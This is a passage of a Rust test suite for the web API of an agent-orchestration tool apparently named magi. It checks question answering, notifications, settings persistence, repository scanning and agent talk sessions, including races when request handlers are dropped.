7117 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7118 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7119
7120 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7124 assert_eq!(none.status, 404, "{}", none.body);
7125 assert!(none.json()["error"].is_string(), "{}", none.body);
7126 assert_eq!(
7127 fx.head(&format!("/api/questions/{plain}/panel"))
7128 .await
7129 .status,
7130 404,
7131 "the preflight is the only way the client can learn this"
7132 );
7133
7134 let missing = fx
7136 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7137 .await;
7138 assert_eq!(missing.status, 404, "{}", missing.body);
7139 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7140
7141 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7143 assert_eq!(
7144 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7145 404
7146 );
7147 }
7148
7149 #[tokio::test]
7150 async fn a_run_with_an_open_question_reads_as_waiting() {
7151 let fx = Fixture::start().await;
7152 let run = "20260902-000000-beef".to_owned();
7153 write_run(&fx.runs(), &run, RunStatus::Implementing);
7154
7155 let before = fx.get("/api/runs").await.json();
7156 assert_eq!(before[0]["waiting"], false, "{before}");
7157
7158 let store = fx.questions();
7159 let mut q = Question::new(
7160 run.clone(),
7161 "implement".to_owned(),
7162 "impl-A".to_owned(),
7163 "Which backend?".to_owned(),
7164 String::new(),
7165 vec!["SQLite".to_owned()],
7166 );
7167 store.put(&mut q).expect("put");
7168
7169 let during = fx.get("/api/runs").await.json();
7170 assert_eq!(during[0]["waiting"], true, "{during}");
7171
7172 q.answer(Answer::Choice("SQLite".to_owned()))
7175 .expect("answer");
7176 store.put(&mut q).expect("put");
7177 let after = fx.get("/api/runs").await.json();
7178 assert_eq!(after[0]["waiting"], false, "{after}");
7179 }
7180
7181 #[tokio::test]
7182 async fn an_open_question_is_listed_and_counted_by_health() {
7183 let fx = Fixture::start().await;
7184 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7185
7186 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7187 let listed = fx.get("/api/questions").await.json();
7188 assert_eq!(listed.as_array().expect("array").len(), 1);
7189 assert_eq!(listed[0]["id"], id);
7190 assert_eq!(listed[0]["status"], "open");
7191 assert_eq!(listed[0]["choices"][1], "Redis");
7192 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7195 }
7196
7197 #[tokio::test]
7198 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7199 let fx = Fixture::start().await;
7200 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7201 let path = format!("/api/questions/{id}/answer");
7202
7203 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7204 assert_eq!(res.status, 200, "{}", res.body);
7205 let body = res.json();
7206 assert_eq!(body["status"], "answered");
7207 assert_eq!(body["answer"]["choice"], "Redis");
7208
7209 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7213 assert_eq!(again.status, 409, "{}", again.body);
7214 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7215 }
7216
7217 #[tokio::test]
7218 async fn saying_something_appends_a_turn_without_answering() {
7219 let fx = Fixture::start().await;
7220 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7221 let path = format!("/api/questions/{id}/say");
7222
7223 let res = fx
7224 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7225 .await;
7226 assert_eq!(res.status, 200, "{}", res.body);
7227 let body = res.json();
7228 assert_eq!(body["status"], "open", "talking back is not a decision");
7229 assert_eq!(body["answer"], Value::Null);
7230 assert_eq!(body["thread"][0]["who"], "operator");
7231 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7232 assert_eq!(body["waiting_on_agent"], true);
7233 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7235 }
7236
7237 #[tokio::test]
7238 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7239 let fx = Fixture::start().await;
7240 let store = fx.questions();
7241 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7242 assert_eq!(
7243 fx.get("/api/health").await.json()["questions_needs_owner"],
7244 1
7245 );
7246
7247 let res = fx
7253 .post(
7254 &format!("/api/questions/{id}/say"),
7255 Some(r#"{"body":"why not Postgres?"}"#),
7256 )
7257 .await;
7258 assert_eq!(res.status, 200, "{}", res.body);
7259 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7260 assert_eq!(
7261 fx.get("/api/health").await.json()["questions_needs_owner"],
7262 0,
7263 "waiting on the agent is not waiting on the owner"
7264 );
7265
7266 let mut q = store.get(&id).expect("get");
7270 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7271 .expect("reply");
7272 store.put(&mut q).expect("put");
7273 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7274 assert_eq!(
7275 fx.get("/api/health").await.json()["questions_needs_owner"],
7276 1,
7277 "the agent's reply is what should light the banner back up"
7278 );
7279 }
7280
7281 #[tokio::test]
7282 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7283 let fx = Fixture::start().await;
7284 let store = fx.questions();
7285
7286 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7287 let res = fx
7288 .post(
7289 &format!("/api/questions/{empty_id}/say"),
7290 Some(r#"{"body":" "}"#),
7291 )
7292 .await;
7293 assert_eq!(res.status, 400, "{}", res.body);
7294
7295 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7296 let mut answered = store.get(&answered_id).expect("get");
7297 answered
7298 .answer(Answer::Choice("SQLite".to_owned()))
7299 .expect("answer");
7300 store.put(&mut answered).expect("put");
7301 let res = fx
7302 .post(
7303 &format!("/api/questions/{answered_id}/say"),
7304 Some(r#"{"body":"still there?"}"#),
7305 )
7306 .await;
7307 assert_eq!(res.status, 409, "{}", res.body);
7308
7309 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7310 let mut abandoned = store.get(&abandoned_id).expect("get");
7311 abandoned.abandon("timed out");
7312 store.put(&mut abandoned).expect("put");
7313 let res = fx
7314 .post(
7315 &format!("/api/questions/{abandoned_id}/say"),
7316 Some(r#"{"body":"still there?"}"#),
7317 )
7318 .await;
7319 assert_eq!(res.status, 409, "{}", res.body);
7320 }
7321
7322 #[tokio::test]
7323 async fn an_answer_the_question_does_not_offer_is_refused() {
7324 let fx = Fixture::start().await;
7325 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7326 let path = format!("/api/questions/{id}/answer");
7327
7328 for body in [
7329 r#"{"choice":"Postgres"}"#,
7330 r#"{"text":"whatever you think"}"#,
7331 r#"{"choice":"Redis","text":"both"}"#,
7332 r#"{}"#,
7333 ] {
7334 let res = fx.post(&path, Some(body)).await;
7335 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7336 assert!(res.json()["error"].is_string(), "{}", res.body);
7337 }
7338 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7340 }
7341
7342 #[tokio::test]
7343 async fn a_free_text_question_takes_text_and_not_a_choice() {
7344 let fx = Fixture::start().await;
7345 let id = ask(&fx, "What should the flag be called?", &[]);
7346 let path = format!("/api/questions/{id}/answer");
7347
7348 assert_eq!(
7349 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7350 400
7351 );
7352 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7353 assert_eq!(res.status, 200, "{}", res.body);
7354 assert_eq!(res.json()["answer"]["text"], "--json");
7355 }
7356
7357 #[tokio::test]
7358 async fn an_unknown_question_is_a_json_404() {
7359 let fx = Fixture::start().await;
7360 let res = fx
7361 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7362 .await;
7363 assert_eq!(res.status, 404, "{}", res.body);
7364 assert!(res.json()["error"].is_string());
7365 }
7366
7367 #[tokio::test]
7368 async fn notifications_list_read_dismiss_and_health_agree() {
7369 let fx = Fixture::start().await;
7370 let store = Notices::at(fx.home.path().join("notifications"));
7371 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7372 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7373
7374 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7375 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7376
7377 let health = fx.get("/api/health").await.json();
7378 assert_eq!(health["notifications_unread"], 2);
7379 assert_ne!(
7380 health["notifications_rev"], rev0,
7381 "the badge must move live"
7382 );
7383
7384 let listed = fx.get("/api/notifications").await.json();
7385 assert_eq!(listed["unread"], 2);
7386 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7387 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7388
7389 let read = fx
7390 .post(&format!("/api/notifications/{}/read", a.id), None)
7391 .await;
7392 assert_eq!(read.status, 200, "{}", read.body);
7393 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7394
7395 let gone = fx
7396 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7397 .await;
7398 assert_eq!(gone.status, 200, "{}", gone.body);
7399 let listed = fx.get("/api/notifications").await.json();
7400 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7401 assert_eq!(listed["unread"], 0);
7402
7403 store.raise(Notice::info("x", "again")).unwrap();
7404 let all = fx.post("/api/notifications/read-all", None).await;
7405 assert_eq!(all.status, 200, "{}", all.body);
7406 assert_eq!(all.json()["marked"], 1);
7407 assert_eq!(
7408 fx.get("/api/health").await.json()["notifications_unread"],
7409 0
7410 );
7411
7412 let missing = fx.post("/api/notifications/nope/read", None).await;
7413 assert_eq!(missing.status, 404, "{}", missing.body);
7414 assert!(missing.json()["error"].is_string());
7415 }
7416
7417 #[tokio::test]
7424 async fn a_task_cannot_be_filed_over_the_phone_directly() {
7425 let f = Fixture::start().await;
7426
7427 let res = f
7428 .post(
7429 "/api/queue",
7430 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7431 )
7432 .await;
7433
7434 assert_eq!(
7435 res.status, 405,
7436 "POST /api/queue must not be a route: {}",
7437 res.body
7438 );
7439 assert!(
7440 f.queue().list().is_empty(),
7441 "a task filed by a route that does not exist must not reach the disk"
7442 );
7443 assert_eq!(f.get("/api/queue").await.status, 200);
7446 }
7447
7448 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7450 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7451 .expect("checkout dir");
7452 }
7453
7454 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7456
7457 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7458 let tmp = TempDir::new().expect("tempdir");
7459 let repo = tmp.path().join("repo");
7460 std::fs::create_dir_all(&repo).expect("repo dir");
7461 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7462 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7463 if let Some(text) = machine_toml {
7464 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7465 std::fs::write(&machine, text).expect("machine toml");
7466 }
7467 (tmp, repo, machine)
7468 }
7469
7470 #[tokio::test]
7471 async fn settings_get_reports_sources_and_the_advisors_fallback() {
7472 let (_tmp, repo, machine) =
7473 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7474 let f = Fixture::with_repo_and_machine(repo, machine).await;
7475 let res = f.get("/api/settings").await;
7476 assert_eq!(res.status, 200, "{}", res.body);
7477 let v = res.json();
7478 assert!(v["error"].is_null(), "{v}");
7479 let role = |k: &str| {
7480 v["roles"]
7481 .as_array()
7482 .and_then(|r| r.iter().find(|x| x["key"] == k))
7483 .cloned()
7484 .unwrap_or_else(|| panic!("no role {k}: {v}"))
7485 };
7486 assert_eq!(role("judges")["source"], "machine");
7487 assert_eq!(role("judges")["editable"], true);
7488 assert_eq!(role("implementers")["source"], "default");
7489 let adv = role("advisors");
7490 assert_eq!(adv["fallback"], "judges");
7491 assert!(
7492 adv["seats"]
7493 .as_array()
7494 .is_some_and(|s| s.iter().all(|x| x == "b")),
7495 "{adv}"
7496 );
7497 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7498 assert_eq!(v["agents"][0]["source"], "repo");
7499 }
7500
7501 #[tokio::test]
7502 async fn settings_get_reports_a_config_that_does_not_parse() {
7503 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7504 let f = Fixture::with_repo_and_machine(repo, machine).await;
7505 let res = f.get("/api/settings").await;
7506 assert_eq!(res.status, 200, "{}", res.body);
7507 let v = res.json();
7508 assert!(v["error"]["message"].is_string(), "{v}");
7509 assert!(
7510 v["error"]["path"]
7511 .as_str()
7512 .is_some_and(|p| p.ends_with("magi.toml")),
7513 "{v}"
7514 );
7515 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7516 }
7517
7518 #[tokio::test]
7519 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7520 let (_tmp, repo, machine) = settings_dirs(
7521 SETTINGS_AGENTS,
7522 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
7523 );
7524 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7525 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7526 let rev = f.get("/api/settings").await.json()["revision"]
7527 .as_str()
7528 .expect("revision")
7529 .to_owned();
7530 let body = serde_json::json!({
7531 "revision": rev,
7532 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7533 })
7534 .to_string();
7535 let res = f.put("/api/settings/roles", &body).await;
7536 assert_eq!(res.status, 200, "{}", res.body);
7537 let text = std::fs::read_to_string(&machine).expect("machine");
7538 assert_eq!(
7539 text,
7540 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7541 );
7542 assert_eq!(
7543 std::fs::read(repo.join("magi.toml")).expect("read"),
7544 repo_before
7545 );
7546 let again = f.get("/api/settings").await.json();
7547 let judges = again["roles"]
7548 .as_array()
7549 .expect("roles")
7550 .iter()
7551 .find(|r| r["key"] == "judges")
7552 .expect("judges")
7553 .clone();
7554 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7555 let stale = f.put("/api/settings/roles", &body).await;
7557 assert_eq!(stale.status, 409, "{}", stale.body);
7558 }
7559
7560 #[tokio::test]
7561 async fn settings_put_refuses_without_touching_the_file() {
7562 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7563 let (_tmp, repo, machine) = settings_dirs(
7564 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7565 Some(machine_text),
7566 );
7567 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7568 let rev = f.get("/api/settings").await.json()["revision"]
7569 .as_str()
7570 .expect("revision")
7571 .to_owned();
7572 for roles in [
7573 serde_json::json!({ "judges": ["nope"] }),
7574 serde_json::json!({ "reviewers": ["b"] }),
7575 serde_json::json!({ "bogus": ["a"] }),
7576 ] {
7577 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7578 let res = f.put("/api/settings/roles", &body).await;
7579 assert_eq!(res.status, 422, "{roles}: {}", res.body);
7580 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7581 assert_eq!(
7582 std::fs::read_to_string(&machine).expect("machine"),
7583 machine_text
7584 );
7585 }
7586 }
7587
7588 #[tokio::test]
7589 async fn repos_list_returns_name_and_path_for_every_configured_root() {
7590 let tmp = TempDir::new().expect("tempdir");
7591 let repo = tmp.path().join("repo");
7592 std::fs::create_dir_all(&repo).expect("repo dir");
7593 let root = tmp.path().join("root");
7594 make_checkout(&root, "github.com", "yukimemi", "magi");
7595 std::fs::write(
7596 repo.join("magi.toml"),
7597 format!(
7598 "[repos]\nroots = [{:?}]\n",
7599 root.to_string_lossy().into_owned()
7600 ),
7601 )
7602 .expect("write magi.toml");
7603
7604 let f = Fixture::with_repo(repo).await;
7605 let res = f.get("/api/repos").await;
7606 assert_eq!(res.status, 200, "{}", res.body);
7607 let list = res.json();
7608 let repos = list.as_array().expect("an array");
7609 assert_eq!(repos.len(), 1);
7610 assert_eq!(repos[0]["name"], "yukimemi/magi");
7611 assert!(
7612 repos[0]["path"]
7613 .as_str()
7614 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
7615 "{list}"
7616 );
7617 }
7618
7619 #[tokio::test]
7620 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
7621 let tmp = TempDir::new().expect("tempdir");
7622 let repo = tmp.path().join("repo");
7623 std::fs::create_dir_all(&repo).expect("repo dir");
7624 let root = tmp.path().join("root");
7625 make_checkout(&root, "github.com", "yukimemi", "magi");
7626 std::fs::write(
7627 repo.join("magi.toml"),
7628 format!(
7629 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
7630 root.to_string_lossy().into_owned()
7631 ),
7632 )
7633 .expect("write magi.toml");
7634
7635 let f = Fixture::with_repo(repo).await;
7636 let first = f.get("/api/repos").await;
7637 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
7638
7639 make_checkout(&root, "github.com", "yukimemi", "rvpm");
7642 let second = f.get("/api/repos").await;
7643 assert_eq!(
7644 second.json().as_array().map(Vec::len),
7645 Some(1),
7646 "a fresh cache must not rescan inside the TTL"
7647 );
7648
7649 let refreshed = f.get("/api/repos?refresh=1").await;
7650 assert_eq!(
7651 refreshed.json().as_array().map(Vec::len),
7652 Some(2),
7653 "an explicit refresh must rescan even inside the TTL"
7654 );
7655 }
7656
7657 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
7663
7664 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
7668 let tmp = TempDir::new().expect("tempdir");
7669 let repo = tmp.path().join("repo");
7670 std::fs::create_dir_all(&repo).expect("repo dir");
7671 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7672 let f = Fixture::with_repo(repo.clone()).await;
7673 (tmp, repo, f)
7674 }
7675
7676 #[tokio::test]
7677 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
7678 let (_tmp, _repo, f) = talk_fixture().await;
7679
7680 let opened = f.post("/api/talks", None).await;
7683 assert_eq!(opened.status, 201, "{}", opened.body);
7684 let body = opened.json();
7685 assert_eq!(body["status"], "open");
7686 assert_eq!(
7687 body["turns"].as_array().unwrap().len(),
7688 0,
7689 "opening takes no agent turn: there is nothing yet to answer"
7690 );
7691
7692 let also_opened = f.post("/api/talks", Some("{}")).await;
7694 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
7695
7696 let listed = f.get("/api/talks").await.json();
7697 assert_eq!(listed.as_array().unwrap().len(), 2);
7698 }
7699
7700 #[tokio::test]
7701 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
7702 let tmp = TempDir::new().expect("tempdir");
7703 let repo = tmp.path().join("repo");
7704 std::fs::create_dir_all(&repo).expect("repo dir");
7705 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
7706 std::fs::write(
7707 repo.join("magi.toml"),
7708 format!("{MOCK_AGENT_TOML}\n{second}"),
7709 )
7710 .expect("write magi.toml");
7711 let home = TempDir::new().expect("temp home");
7712 let talks = Talks::at(home.path().join("talks"));
7713 let ui = Arc::new(
7714 Ui::new(
7715 Queue::at(home.path().join("queue")),
7716 Questions::at(home.path().join("questions")),
7717 talks.clone(),
7718 home.path().join("runs"),
7719 home.path().to_path_buf(),
7720 repo.clone(),
7721 )
7722 .with_worktrees_root(home.path().join("wt")),
7723 );
7724 let cfg = config_for(&repo).await.expect("discover config");
7725 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
7726 let id = talk.id.clone();
7727 let call = |agent: &str| {
7728 talk_agent(
7729 State(Arc::clone(&ui)),
7730 Path(id.clone()),
7731 Json(TalkAgent {
7732 agent: agent.to_owned(),
7733 }),
7734 )
7735 };
7736
7737 let unknown = call("nobody").await.expect_err("unknown agent");
7738 assert_eq!(
7739 unknown.status,
7740 StatusCode::BAD_REQUEST,
7741 "{}",
7742 unknown.message
7743 );
7744
7745 {
7746 let mut claimed = None;
7749 for _ in 0..200 {
7750 claimed = ui.begin_talk_turn(&id).expect("claim");
7751 if claimed.is_some() {
7752 break;
7753 }
7754 tokio::time::sleep(Duration::from_millis(10)).await;
7755 }
7756 let _busy = claimed.expect("free");
7757 let busy = call("second").await.expect_err("busy talk");
7758 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
7759 }
7760 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
7761
7762 let Json(view) = call("second").await.expect("switch");
7763 assert_eq!(view.talk.agent, "second");
7764 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
7765 let saved = talks.get(&id).expect("reload");
7766 assert_eq!(saved.agent, "second");
7767 assert_eq!(saved.turns.len(), 1);
7768
7769 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
7770 .await
7771 .expect("detail");
7772 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
7773 assert_eq!(roster, ["mock", "second"]);
7774
7775 let mut closed = talks.get(&id).expect("reload");
7776 talk::close(&mut closed, &talks).expect("close");
7777 let refused = call("mock").await.expect_err("closed talk");
7778 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
7779 }
7780
7781 #[tokio::test]
7782 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
7783 let f = Fixture::start().await;
7784 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
7785 let queue = f.queue();
7786 let mut mine = Task::new(
7787 "rename the loader".to_owned(),
7788 "rename the loader".to_owned(),
7789 PathBuf::from("/repo/magi"),
7790 Source::Agent {
7791 run: talk_id.clone(),
7792 node: "chat".to_owned(),
7793 },
7794 );
7795 queue.put(&mut mine).expect("file the task");
7796 let mut theirs = Task::new(
7797 "unrelated".to_owned(),
7798 "unrelated".to_owned(),
7799 PathBuf::from("/repo/magi"),
7800 Source::Human,
7801 );
7802 queue.put(&mut theirs).expect("file the task");
7803
7804 let res = f.get(&format!("/api/talks/{talk_id}")).await;
7805 assert_eq!(res.status, 200, "{}", res.body);
7806 let body = res.json();
7807 assert_eq!(
7808 body["status"], "open",
7809 "filing a task does not close a talk"
7810 );
7811 let tasks = body["tasks"].as_array().expect("tasks array");
7812 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
7813 assert_eq!(tasks[0]["id"], mine.id);
7814 }
7815
7816 #[tokio::test]
7817 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
7818 let (_tmp, _repo, f) = talk_fixture().await;
7819 let id = f.post("/api/talks", None).await.json()["id"]
7820 .as_str()
7821 .expect("id")
7822 .to_owned();
7823
7824 let res = f
7825 .post(
7826 &format!("/api/talks/{id}/say"),
7827 Some(r#"{"text":"what does the queue module do?"}"#),
7828 )
7829 .await;
7830 assert_eq!(res.status, 202, "{}", res.body);
7831 let queued = res.json();
7832 let turns = queued["turns"].as_array().expect("turns array");
7833 assert_eq!(
7834 turns.len(),
7835 1,
7836 "the answer reflects only what is on disk the instant it is sent, \
7837 before the agent's turn - which can run for the whole of \
7838 `[graph] timeout_talk` - has a chance to land: {queued}"
7839 );
7840 assert_eq!(turns[0]["who"], "operator");
7841 assert_eq!(turns[0]["body"], "what does the queue module do?");
7842 assert_eq!(
7843 queued["thinking"], true,
7844 "the accepted response exposes the background turn claim: {queued}"
7845 );
7846
7847 let mut turns_after = 1;
7848 for _ in 0..SETTLE_STEPS {
7849 let detail = f.get(&format!("/api/talks/{id}")).await.json();
7850 turns_after = detail["turns"].as_array().expect("turns array").len();
7851 if turns_after == 2 {
7852 break;
7853 }
7854 tokio::time::sleep(Duration::from_millis(10)).await;
7855 }
7856 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
7857 }
7858
7859 #[tokio::test]
7886 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
7887 let tmp = TempDir::new().expect("tempdir");
7888 let repo = tmp.path().join("repo");
7889 std::fs::create_dir_all(&repo).expect("repo dir");
7890 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7891 let home = TempDir::new().expect("temp home");
7892 let talks = Talks::at(home.path().join("talks"));
7893 let ui = Arc::new(
7894 Ui::new(
7895 Queue::at(home.path().join("queue")),
7896 Questions::at(home.path().join("questions")),
7897 talks.clone(),
7898 home.path().join("runs"),
7899 home.path().to_path_buf(),
7900 repo.clone(),
7901 )
7902 .with_worktrees_root(home.path().join("wt")),
7903 );
7904 let cfg = config_for(&repo).await.expect("discover config");
7905
7906 for delay in 0..40u32 {
7907 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
7908 let id = talk.id.clone();
7909
7910 let handler = tokio::spawn(talk_say(
7911 State(Arc::clone(&ui)),
7912 Path(id.clone()),
7913 Ok(Json(NewTalkTurn {
7914 text: "what does the queue module do?".to_owned(),
7915 attachments: Vec::new(),
7916 })),
7917 ));
7918 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
7919 handler.abort();
7920 let _ = handler.await;
7923
7924 let mut turns = 0;
7925 for _ in 0..SETTLE_STEPS {
7926 if let Ok(fresh) = talks.get(&id) {
7927 turns = fresh.turns.len();
7928 if turns != 1 {
7929 break;
7930 }
7931 }
7932 tokio::time::sleep(Duration::from_millis(10)).await;
7933 }
7934 assert_ne!(
7935 turns, 1,
7936 "delay {delay}: talk {id} recorded the operator's turn but \
7937 the agent never answered - the reply task was never \
7938 started after the handler future was dropped"
7939 );
7940 }
7941 }
7942
7943 #[tokio::test]
7988 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
7989 let tmp = TempDir::new().expect("tempdir");
7990 let repo = tmp.path().join("repo");
7991 std::fs::create_dir_all(&repo).expect("repo dir");
7992 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7993 let home = TempDir::new().expect("temp home");
7994 let talks = Talks::at(home.path().join("talks"));
7995 let ui = Arc::new(
7996 Ui::new(
7997 Queue::at(home.path().join("queue")),
7998 Questions::at(home.path().join("questions")),
7999 talks.clone(),
8000 home.path().join("runs"),
8001 home.path().to_path_buf(),
8002 repo.clone(),
8003 )
8004 .with_worktrees_root(home.path().join("wt")),
8005 );
8006 let cfg = config_for(&repo).await.expect("discover config");
8007
8008 for attempt in 0..3u32 {
8009 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8010 let id = talk.id.clone();
8011 let turn_guard = ui
8014 .begin_talk_turn(&id)
8015 .expect("claim the turn")
8016 .expect("a fresh talk owes nobody a turn");
8017
8018 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8019 let (release_tx, release_rx) = std::sync::mpsc::channel();
8020 ui.set_busy_queue_gate(BusyQueueGate {
8021 reached: reached_tx,
8022 release: release_rx,
8023 });
8024
8025 let handler = tokio::spawn(talk_say(
8026 State(Arc::clone(&ui)),
8027 Path(id.clone()),
8028 Ok(Json(NewTalkTurn {
8029 text: "what does the queue module do?".to_owned(),
8030 attachments: Vec::new(),
8031 })),
8032 ));
8033
8034 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8039 .await
8040 .unwrap_or_else(|_| {
8041 panic!(
8042 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8043 )
8044 })
8045 .expect("the busy branch dropped the gate without using it");
8046
8047 let running = talks.get(&id).expect("reload talk");
8054 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8055
8056 handler.abort();
8060 let _ = handler.await;
8061
8062 let _ = release_tx.send(());
8068
8069 let mut fresh = talks.get(&id).expect("reload talk");
8072 for _ in 0..SETTLE_STEPS {
8073 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8074 break;
8075 }
8076 tokio::time::sleep(Duration::from_millis(10)).await;
8077 fresh = talks.get(&id).expect("reload talk");
8078 }
8079 assert!(
8080 fresh.pending.is_empty() && fresh.turns.len() == 2,
8081 "attempt {attempt}: talk {id} left the operator's text queued \
8082 with no drainer - the reclaimed turn was dropped along with \
8083 the handler future (pending {:?}, {} turns)",
8084 fresh.pending,
8085 fresh.turns.len()
8086 );
8087 }
8088 }
8089
8090 #[tokio::test]
8091 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8092 let (_tmp, _repo, f) = talk_fixture().await;
8093 let id = f.post("/api/talks", None).await.json()["id"]
8094 .as_str()
8095 .expect("id")
8096 .to_owned();
8097 let store = f.talks();
8098 let mut recovered = store.get(&id).expect("opened talk");
8099 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8100 .expect("persist pending draft without a live turn");
8101
8102 let edited = f
8103 .post(
8104 &format!("/api/talks/{id}/pending/edit"),
8105 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8106 )
8107 .await;
8108 assert_eq!(edited.status, 200, "{}", edited.body);
8109 assert!(edited.json()["thinking"].as_bool().unwrap());
8110
8111 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8112 for _ in 0..SETTLE_STEPS {
8113 if detail["turns"].as_array().expect("turns").len() == 2 {
8114 break;
8115 }
8116 tokio::time::sleep(Duration::from_millis(10)).await;
8117 detail = f.get(&format!("/api/talks/{id}")).await.json();
8118 }
